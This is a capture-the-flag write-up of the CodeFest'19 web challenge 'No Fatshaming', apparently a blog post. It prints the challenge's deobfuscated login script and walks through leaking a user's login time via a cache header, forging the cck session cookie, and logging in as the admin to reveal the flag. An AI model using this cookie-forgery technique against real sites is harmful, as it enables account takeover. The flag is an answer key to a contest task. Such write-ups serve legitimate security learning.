No Fatshaming (Web Challenge WriteUp)— CodeFest’19 CTF

Yashit Maheshwary
Aug 25 · 6 min read

On opening the webpage, we were presented with a login/register functionality.

I first fuzzed the input fields with payloads for SQLi, XSS etc. But nothing seemed to work, so it wasn’t going to be something simple!

I looked at the source, and something fishy caught my eye: A custom JS ‘library’ /static/runner/challenge.js.

The source was minified, and obfuscated; So I used this website to de-obfuscate and prettify the code:

'use strict';
$(document)["ready"](() => {
/**
* @param {!Object} spec
* @return {?}
*/
function factory(spec) {
var shaObj = new jsSHA("SHA-256", "TEXT");
var existing = spec["id"] + " 000 114328 000 " + spec["time"];
shaObj["update"](existing);
var KongPluginsService = shaObj["getHash"]("HEX");
return KongPluginsService;
}
/**
* @param {!Object} config
* @return {undefined}
*/
function setup(config) {
var val = Cookies["get"]("time");
var index = Cookies["get"]("id");
if (index == undefined || val == undefined) {
config["failure"]();
} else {
if (index != $("#login-username")["val"]()) {
config["failure"]();
} else {
$["ajax"]({
"url" : "api/login/",
"type" : "POST",
"headers" : {
"X-Cache-Command" : "META",
"X-Cache-User" : index
},
"success" : (data) => {
/** @type {!Date} */
var item = new Date;
if (data["time"] != val) {
config["failure"]();
} else {
if (!changeColumnSpec(val, item)) {
config["failure"]();
} else {
config["success"]();
}
}
}
});
}
}
}
/**
* @param {?} group
* @param {!Date} item
* @return {?}
*/
function changeColumnSpec(group, item) {
return !![];
}
/**
* @return {undefined}
*/
function setUpUserAutosuggest() {
setup({
"success" : login,
"failure" : doLogin
});
}
/**
* @return {undefined}
*/
function login() {
var salesTeam = Cookies["get"]("id");
var _0x24e669 = Cookies["get"]("cck");
$["ajax"]({
"url" : "api/login/",
"type" : "POST",
"headers" : {
"X-Cache-Command" : "PULL",
"X-Cache-User" : salesTeam,
"X-Cache-Key" : _0x24e669
},
"success" : (i) => {
fn(i);
},
"error" : () => {
alert("Unexpected Error!");
Cookies["remove"]("id");
Cookies["remove"]("cck");
Cookies["remove"]("time");
}
});
}
/**
* @return {undefined}
*/
function doLogin() {
$["ajax"]({
"url" : "api/login/",
"type" : "POST",
"contentType" : "application/json; charset=utf-8",
"processData" : ![],
"data" : JSON["stringify"]({
"password" : $("#login-password")["val"](),
"username" : $("#login-username")["val"]()
}),
"success" : (value) => {
fn(value);
_build(value);
},
"error" : (msg) => {
if (msg["status"] == 401) {
alert("Auth Failed!");
}
console["log"](msg);
}
});
}
/**
* @param {!Object} value
* @return {undefined}
*/
function _build(value) {
Cookies["set"]("id", value["id"]);
Cookies["set"]("time", value["time"]);
Cookies["set"]("cck", factory(value));
}
/**
* @param {!Object} p
* @return {undefined}
*/
function fn(p) {
$(".page.login")["addClass"]("hidden");
$(".page.logged-in")["removeClass"]("hidden");
$("#login-message")["text"](p["data"]);
}
$("#go-to-login")["click"](() => {
$(".page.reg-success")["addClass"]("hidden");
$(".page.login")["removeClass"]("hidden");
});
$("#logout")["click"](() => {
$(".page.logged-in")["addClass"]("hidden");
$(".page.login")["removeClass"]("hidden");
});
$("#register")["click"](() => {
$(".page.login")["addClass"]("hidden");
$(".page.register")["removeClass"]("hidden");
});
$("#login-re")["click"](() => {
$(".page.register")["addClass"]("hidden");
$(".page.login")["removeClass"]("hidden");
});
$("#registration-form")["submit"]((result) => {
result["preventDefault"]();
if ($("#reg-password")["val"]() != $("#reg-again")["val"]()) {
alert("Passswords Don't Match!");
$("#reg-again")["val"]("");
return;
}
$["ajax"]({
"url" : "api/register/",
"type" : "POST",
"contentType" : "application/json; charset=utf-8",
"processData" : ![],
"data" : JSON["stringify"]({
"password" : $("#reg-password")["val"]()
}),
"success" : (message) => {
console["log"](message);
$(".page.register")["addClass"]("hidden");
$(".page.reg-success")["removeClass"]("hidden");
$("#reg-message")["text"](message["id"]);
},
"error" : (message) => {
console["log"](message);
}
});
});
$("#login-form")["submit"]((result) => {
result["preventDefault"]();
setUpUserAutosuggest();
});
});

On first glance this looked like a module responsible for handling the authentication services! And upon further reading, I found out that this is what I needed to focus on!

On analyzing the functions for a while, I concluded that the application’s login functionality was based on either a username, password combination; or the combination of the cookies: cck and id. The username, password route doesn’t seem to be viable (as that would require bruteforce; and usually admins stay away from that, as it would take a toll on their systems hosting these services). Thus, I began examining the cookies.

The function _build() seemed to be responsible for setting the cookies upon login. The id cookie was in our control, but the remaining time and cck cookies were dependent on the sessions of the logged in users. So all I needed to do was to obtain the login timestamp for any user (represented using IDs). And the setup() function does exactly that!

function setup(config) {
var val = Cookies["get"]("time");
var index = Cookies["get"]("id");
if (index == undefined || val == undefined) {
config["failure"]();
} else {
if (index != $("#login-username")["val"]()) {
config["failure"]();
} else {
$["ajax"]({
"url" : "api/login/",
"type" : "POST",
"headers" : {
"X-Cache-Command" : "META",
"X-Cache-User" : index
},
"success" : (data) => {
/** @type {!Date} */
var item = new Date;
if (data["time"] != val) {
config["failure"]();
} else {
if (!changeColumnSpec(val, item)) {
config["failure"]();
} else {
config["success"]();
}
}
}
});
}
}
}

This function basically returns the login timestamp of any user for validating the supplied timestamp in the cookie based login. So if we simply remove the validation check, and run the function for any user-id, we should be able to get the login time of any user?

I updated the setup() function to do exactly that:

function setup(id) {
$["ajax"]({
"url" : "api/login/",
"type" : "POST",
"headers" : {
"X-Cache-Command" : "META",
"X-Cache-User" : id
},
"success" : (data) => {
console.log(data["time"]);
}
});
}

And now I simply had to run this function with any ID I want! And what better ID to start with, than 1 ?

Guess what? I got the timestamp of the user with ID 1!

Now that I had the id and time; I just needed the cck . Going back to the _build() function, we can see that the cck hash is generated by the function factory() . The logic being fairly simple (and kind of pointless (: ):

var existing = spec[“id”] + “ 000 114328 000 “ + spec[“time”];

Let’s now generate the hash for the user with ID 1:

I simply called the factory() function with the obtained parameters: factory({'id':'1', 'time':'2019–08–23 10:17:10.771772+00:00'})

Now that we have all the 3 required parameters, it was time to set the cookies and see the result for ourselves! I used the _build() function to get that done:

_build({'id':'1', 'time':'2019–08–23 10:17:10.771772+00:00'})

Now that we had everything setup; I populated the login form with the username as 1, followed by a random password; on submitting the form, I was logged in!

But the flag wasn’t here :( After spending a while on the result, I assumed that the remainder of the challenge would involve guessing, so I decided to step away from it (mainly because I was too lazy xD).

Upon speaking to the organizer after the CTF was over, I was told that the admin was the user with ID 6. Ugh!

Just to get some closure, I repeated the same process, but this time with user ID 6, and I was presented with the flag!

The flag: CodefestCTF{1AmTeHHHAX00Rr4uj8rfi4e$%y5yhrf}

P.S. Don’t be lazy xD

Yashit Maheshwary

Written by

OSCP | Synack Red Team | Computer Security Enthusiast | Software Developer | Senior @ IIIT, Delhi

Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch
Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore
Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade